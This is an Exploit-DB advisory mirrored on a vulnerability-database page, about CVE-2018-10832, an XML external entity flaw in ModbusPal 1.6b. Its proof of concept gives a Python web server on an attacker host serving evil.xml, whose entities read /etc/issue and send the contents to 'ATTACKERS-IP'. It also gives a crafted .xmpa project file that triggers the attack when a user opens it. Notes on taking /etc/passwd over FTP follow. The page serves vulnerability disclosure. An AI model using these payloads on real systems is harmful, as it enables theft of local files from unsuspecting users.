Lucene search
K

ModbusPal 1.6b - XML External Entity Injection

🗓️ 10 May 2018 00:00:00Reported by Trent GordonType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

ModbusPal 1.6b XML External Entity Injection, CVE-2018-10832, Ubuntu 16.04, Java 1.8.0_15

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ModbusPal 1.6b - XML External Entity Injection Vulnerability
10 May 201800:00
zdt
CNVD
ModbusPal XML External Entity Injection Vulnerability
14 May 201800:00
cnvd
CVE
CVE-2018-10832
11 May 201821:00
cve
Cvelist
CVE-2018-10832
11 May 201821:00
cvelist
EUVD
EUVD-2018-2901
7 Oct 202500:30
euvd
exploitpack
ModbusPal 1.6b - XML External Entity Injection
10 May 201800:00
exploitpack
NVD
CVE-2018-10832
11 May 201821:29
nvd
OSV
CVE-2018-10832
11 May 201821:29
osv
Packet Storm
ModbusPal 1.6b XML External Entity Injection
10 May 201800:00
packetstorm
Prion
Xxe
11 May 201821:29
prion
Rows per page
[+] Exploit Title: ModbusPal XXE Injection
[+] Date: 05-08-2018
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://modbuspal.sourceforge.net/
[+] Software Link: https://sourceforge.net/projects/modbuspal/files/latest/download?source=files
[+] Version: 1.6b
[+] Tested on: Ubuntu 16.04 with Java 1.8.0_151
[+] CVE: CVE-2018-10832

1. Vulnerability Description

ModbusPal 1.6b is vulnerable to an XML External Entity (XXE) attack.  Projects are saved as .xmpp files and automations can be exported as .xmpa files, both XML-based and vulnerable to XXE injection.  Sending a crafted .xmpp or .xmpa file to a user, when opened/imported in ModbusPal 1.6b, will return the contents of any local files to a remote attacker.

2. Proof of Concept

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting evil.xml)

b.) Contents of hosted "evil.xml"

<!ENTITY % data SYSTEM "file:///etc/issue">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKERS-IP:9999/?%data;'>">

c.) Example Exploited "xxe.xmpa"

<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/evil.xml">

%sp;

%param1;

]>

<r>&exfil;</r>

<!DOCTYPE modbuspal_automation SYSTEM "modbuspal.dtd">

<modbuspal_automation>

<automation name="temp" step="1.0" loop="true" init="0.0">

</automation>

</modbuspal_automation>

3. Additional Details

Java 1.7 contains certain defenses against XXE, including throwing a java.net.MalformedURLException when certain characters (such as '/n') are included in a URL.  This means that the file exfiltrated in the above attack is limited to single line files that dont contain any restricted characters.  The above POC uses /etc/issue, which is one of the few common linux files that meets this criteria.  Exploitation of this vulnerability on later versions of Java requires a more creative approach than described above, such as using FTP instead of URL to exfiltrate /etc/passwd.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation